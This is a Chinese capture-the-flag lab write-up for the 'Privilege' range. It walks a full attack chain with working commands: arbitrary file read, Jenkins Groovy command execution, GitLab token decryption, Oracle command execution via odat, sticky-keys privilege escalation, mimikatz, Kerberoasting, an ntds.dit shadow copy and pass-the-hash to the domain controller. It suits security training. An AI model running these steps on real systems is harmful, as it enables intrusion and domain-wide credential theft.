春秋云镜 Privilege

news/2024/10/9 18:03:59

上来先用fscan扫一下.

   ___                              _    / _ \     ___  ___ _ __ __ _  ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   fscan version: 1.8.4
start infoscan
39.98.114.164:80 open
39.98.114.164:8080 open
39.98.114.164:135 open
39.98.114.164:139 open
39.98.114.164:3306 open
[*] alive ports len is: 5
start vulscan
[*] NetInfo 
[*]39.98.114.164[->]XR-JENKINS[->]172.22.14.7
[*] WebTitle http://39.98.114.164      code:200 len:54689  title:XR SHOP
[*] WebTitle http://39.98.114.164:8080 code:403 len:548    title:None

80一个wordpress,8080一个jenkins,80扫目录发现www.zip,下下来审计一下.
发现tools目录下有两个逆天的文件.
phpinfo.php

<?php phpinfo();?>

content-log.php(D盾没扫出来)

<?php
$logfile = rawurldecode( $_GET['logfile'] );
// Make sure the file is exist.
if ( file_exists( $logfile ) ) {// Get the content and echo it.$text = file_get_contents( $logfile );echo( $text );
}
exit;

第一个文件泄露环境,第二个文件导致任意文件读取.由于使用的是windows server,直接猜测是phpstudy搭的,有管理员权限,尝试读取flag.

http://39.98.114.164/tools/content-log.php?logfile=C:/Users/Administrator/flag/flag01.txt

image

flag:flag{f3d2c982-67b0-4b20-aa6d-0f10d89ddd43}
由于靶场存在提示

并且,管理员在配置 Jenkins 时,仍然选择了使用初始管理员密码,请尝试读取该密码并获取 Jenkins 服务器权限。Jenkins 配置目录为 C:\ProgramData\Jenkins\.jenkins。

尝试读取管理员的初始密码

http://39.98.114.164/tools/content-log.php?logfile=C:\ProgramData\Jenkins\.jenkins\secrets\initialAdminPassword

510235cf43f14e83b88a9f144199655b
后台登录
image

jenkins后台存在groovy的在线编译器
image

注意接下来的步骤开着梯子走不通,因为走代理拿不到crumb,会被判定为csrf攻击.
由于权限高,所以可以直接执行命令

println "net user lbzc Lbz12345 /add".execute().text
println "net localgroup administrators lbzc /add".execute().text

由于不知道计算机对于密码配置策略的要求,所以设置用户名和密码的时候一定要看到命令成功完成回显.
rdp上线.起个nps代理,传个fscan去扫内网.

   ___                              _/ _ \     ___  ___ _ __ __ _  ___| | __/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\fscan version: 1.8.3
start infoscan
(icmp) Target 172.22.14.7     is alive
(icmp) Target 172.22.14.11    is alive
(icmp) Target 172.22.14.16    is alive
(icmp) Target 172.22.14.31    is alive
(icmp) Target 172.22.14.46    is alive
[*] Icmp alive hosts len is: 5
172.22.14.7:445 open
172.22.14.31:139 open
172.22.14.46:139 open
172.22.14.11:139 open
172.22.14.31:135 open
172.22.14.46:135 open
172.22.14.7:139 open
172.22.14.11:135 open
172.22.14.7:135 open
172.22.14.11:88 open
172.22.14.16:8060 open
172.22.14.46:445 open
172.22.14.31:445 open
172.22.14.11:445 open
172.22.14.46:80 open
172.22.14.16:80 open
172.22.14.7:8080 open
172.22.14.7:80 open
172.22.14.16:22 open
172.22.14.7:3306 open
172.22.14.31:1521 open
172.22.14.16:9094 open
[*] alive ports len is: 22
start vulscan
[*] NetInfo
[*]172.22.14.7[->]XR-JENKINS[->]172.22.14.7
[*] NetInfo
[*]172.22.14.11[->]XR-DC[->]172.22.14.11
[*] NetInfo
[*]172.22.14.31[->]XR-ORACLE[->]172.22.14.31
[*] NetInfo
[*]172.22.14.46[->]XR-0923[->]172.22.14.46
[*] WebTitle http://172.22.14.7:8080   code:403 len:548    title:None
[*] NetBios 172.22.14.11    [+] DC:XIAORANG\XR-DC
[*] NetBios 172.22.14.46    XIAORANG\XR-0923
[*] NetBios 172.22.14.31    WORKGROUP\XR-ORACLE
[*] WebTitle http://172.22.14.16:8060  code:404 len:555    title:404 Not Found
[*] WebTitle http://172.22.14.46       code:200 len:703    title:IIS Windows Server
[*] WebTitle http://172.22.14.7        code:200 len:54603  title:XR SHOP
[*] WebTitle http://172.22.14.16       code:302 len:99     title:None 跳转url: http://172.22.14.16/users/sign_in
[*] WebTitle http://172.22.14.16/users/sign_in code:200 len:34961  title:Sign in · GitLab
[+] PocScan http://172.22.14.7/www.zip poc-yaml-backup-file

存在如下主机

172.22.14.7  本机
172.22.14.46 XIAORANG\XR-0923(域内机器)
172.22.14.11 XR-DC 域控
172.22.14.31 XR-ORACLE
172.22.14.16 GitLab

第二关内容如下

管理员为 Jenkins 配置了 Gitlab,请尝试获取 Gitlab API Token,并最终获取 Gitlab 中的敏感仓库。获取敏感信息后,尝试连接至 Oracle 数据库,并获取 ORACLE 服务器控制权限。

去读C:/ProgramData/Jenkins/.jenkins/credentials.xml

<?xml version='1.1' encoding='UTF-8'?>
<com.cloudbees.plugins.credentials.SystemCredentialsProvider plugin="credentials@1214.v1de940103927"><domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash"><entry><com.cloudbees.plugins.credentials.domains.Domain><specifications/></com.cloudbees.plugins.credentials.domains.Domain><java.util.concurrent.CopyOnWriteArrayList><com.dabsquared.gitlabjenkins.connection.GitLabApiTokenImpl plugin="gitlab-plugin@1.6.0"><scope>GLOBAL</scope><id>9eca4a05-e058-4810-b952-bd6443e6d9a8</id><description></description><apiToken>{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh}</apiToken></com.dabsquared.gitlabjenkins.connection.GitLabApiTokenImpl></java.util.concurrent.CopyOnWriteArrayList></entry></domainCredentialsMap>
</com.cloudbees.plugins.credentials.SystemCredentialsProvider>

找到的apiToken是加密过的,去jenkins的groovy script中进行一次解密

println(hudson.util.Secret.fromString("{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh}").getPlainText())

得到了明文glpat-7kD_qLH2PiQv_ywB9hz2
访问url:http://172.22.14.16/api/v4/projects,并携带token:PRIVATE-TOKEN: glpat-7kD_qLH2PiQv_ywB9hz2

发现一共有5个项目,分别为Internal Secret,XRAdmin,Awenode,XRWiki,Monitoring.
分别把他们clone下来,使用的命令如下

proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/xradmin.git

xradmin/ruoyi-admin/src/main/resources/application-druid.yml中找到了Oracle的账号密码.

# 数据源配置
spring:datasource:type: com.alibaba.druid.pool.DruidDataSourcedriverClassName: oracle.jdbc.driver.OracleDriverdruid:# 主库数据源master:url: jdbc:oracle:thin:@172.22.14.31:1521/orclusername: xradminpassword: fcMyE8t9E4XdsKf# 从库数据源slave:# 从数据源开关/默认关闭enabled: falseurl: username: password: # 初始连接数initialSize: 5# 最小连接池数量minIdle: 10# 最大连接池数量maxActive: 20# 配置获取连接等待超时的时间maxWait: 60000# 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒timeBetweenEvictionRunsMillis: 60000# 配置一个连接在池中最小生存的时间,单位是毫秒minEvictableIdleTimeMillis: 300000# 配置一个连接在池中最大生存的时间,单位是毫秒maxEvictableIdleTimeMillis: 900000# 配置检测连接是否有效validationQuery: SELECT 1 FROM DUALtestWhileIdle: truetestOnBorrow: falsetestOnReturn: falsewebStatFilter: enabled: truestatViewServlet:enabled: true# 设置白名单,不填则允许所有访问allow:url-pattern: /druid/*# 控制台管理用户名和密码login-username: login-password: filter:stat:enabled: true# 慢SQL记录log-slow-sql: trueslow-sql-millis: 1000merge-sql: truewall:config:multi-statement-allow: true

MDUT能连上,但是执行命令和读文件都报错.
直接使用odat去执行命令.

proxychains odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net user lbzc Lbz12345 /add'
proxychains odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net localgroup administrators lbzc /add'

rdp上去,成功拿到flag
image

flag:flag{e631877f-7945-4564-9af6-ece9a25a9217}
另外在Internal Secret中存在credentials.txt,里面存储着大量的用户名和密码
image

找到XR-0923:XR-0923 | zhangshuai | wSbEajHzZs,rdp登陆.
发现zhangshuai是Remote Management User组成员.
image

直接使用evil-winrm登录

proxychains evil-winrm -i 172.22.14.46 -u zhangshuai -p wSbEajHzZs

发现存在SeRestorePrivilege特权.
image

可以打一个修改注册表,进行类似注册表提权的攻击.然而用tsclient的打法报错.
image

说明这里的SeRestorePrivilege并没有权限修改注册表,尝试修改文件名,进行粘滞键提权.

ren sethc.exe sethc.bak
ren cmd.exe sethc.exe

image

回到锁屏界面按5下shift,成功提权.拿到了第三个flag
image

flag:flag{6976c5ee-4056-4f7a-82cd-30283eb0b3cf}
创个管理员账号上去.

net user LBZ Lbz12345! /add
net localgroup administrators LBZ /add

上个mimitakz去抓一下密码.突然发现cmd.exe没做备份,恢复不了了.对付用吧...

mimitakz
privilege::debug
sekurlsa::logonpasswords

image

使用抓取到的机器账户的ntlm去查询SPN
8519c5a89b2cd4d679a5a36f26863e5d
使用机器账户的ntlm去枚举SPN

proxychains impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes ':2db8b6a4d945068a4fd5bb65d33fe280' -dc-ip 172.22.14.11

image

抓一下tianjing的哈希

proxychains impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes ':2db8b6a4d945068a4fd5bb65d33fe280' -dc-ip 172.22.14.11 -request-user tianjing

image

使用hashcat爆破

hashcat -m 13100 -a 0 1.txt /usr/share/wordlists/rockyou.txt --force

image

结果为tianjing/DPQSXSXgh2
这用户也是Remote Management User成员,因此可以直接evil-winrm上线DC

proxychains evil-winrm -i 172.22.14.11 -u tianjing -p DPQSXSXgh2

image

发现开启了SeBackupPrivilege,可以卷影拷贝然后读sam配合注册表的system得哈希.
本地创一个raj.dsh,写入

set context persistent nowriters
add volume c: alias raj
create
expose %raj% z:

然后使用unix2dos raj.dsh将换行转换为windows格式.
回到域控,在C的根目录创建一个test目录(确保权限问题),然后上传raj.dsh

mkdir test
cd test
upload raj.dsh

image

卷影拷贝sam表

diskshadow /s raj.dsh

image

复制文件到当前目录(RoboCopy相当于增强的copy),并下载sam表

RoboCopy /b z:\windows\ntds . ntds.dit
download ntds.dit

最后转存并下载system

reg save HKLM\SYSTEM system
download system

对ntds.dit和system进行本地解密

impacket-secretsdump -ntds ntds.dit -system system local

image

得到了域管理员的ntlm,pth即可.

proxychains crackmapexec smb 172.22.14.11 -u administrator -H70c39b547b7d8adec35ad7c09fb1d277 -d xiaorang.lab -x "type C:\\Users\Administrator\flag\f*"

image

flag:flag{01ee24c8-e844-402a-ab14-fd4bbfaefb6e}

共用时3小时15分,这次打SeBackupPrivilege就打成了.回顾了一下之前Thermal Power失败的原因,似乎想明白了.rdp上去以后用户属于Back Operators组,但是没被赋予SeBackupPrivilege权限,需要我去赋予权限,并开启权限才能进行sam表转储.

image

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/69477.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

AI在不同领域的应用与行业影响

本文将探讨AI在不同技术领域和行业中的广泛应用,以及这些应用如何影响和改变我们的世界。 I. 引言 AI技术正日益渗透到各个技术领域,从计算机视觉到自然语言处理,再到音频处理,AI的应用正变得越来越广泛。这些技术的发展不仅推动了科学研究的进步,也在实际应用中展现出巨大…

多态和继承

继承:通常意思就是儿子可以继承父亲的东西,在java里面也是一样的,当我们在同一个包内有多个类的成员变量/方法相同时可以使用继承,只可以在子非静态方法使用 继承就是把相同的成员变量/成员方法放在一个类中,然后使用extends这个关键字来让一个类来继承另一类从而达到代码…

自然人社工

人,是网络安全全流程中最大的弱点。针对人的攻击往往有出奇不意的效果。而想要利用人的弱点进行攻击,那么对目标的信息收集与了解就是非常重要的了。这篇文章记录了一些常用的用于对人进行身份信息收集的技术。这些技术常被用于溯源取证、社工攻击。 0x00 社工分析中的身份信…

检测到 #include 错误。请更新 includePath问题

目录include文件地址需要在命令行使用g++ -v -E -x c++ -去找g++ -v -E -x c++ - 检测到 #include 错误。请更新 includePath问题多用组合、少用继承基于接口而非实现进行编程

Apache DolphinScheduler社区9月进展记录

各位热爱 Apache DolphinScheduler 的小伙伴们,社区 9 月月报更新啦!这里将记录 Apache DolphinScheduler 社区每月的重要更新,欢迎关注! 月度 Merge Star 感谢以下小伙伴上个月为 Apache DolphinScheduler 做的精彩贡献(排名不分先后):@Mighten,@ChaoquanTao,@wangxj3,…

我国首颗可重复使用返回式技术试验卫星成功发射|数字孪生技术助力运载火箭仿真验证系统革命

9月27日18时30分,长征二号丁运载火箭在酒泉卫星发射中心一飞冲天,随后将我国首颗可重复使用返回式技术试验卫星——实践十九号卫星送入预定轨道,发射任务取得圆满成功。▲长二丁火箭发射升空​新一代运载火箭肩负着未来载人登月、深空探测等重大任务,不仅是我国航天事业的重…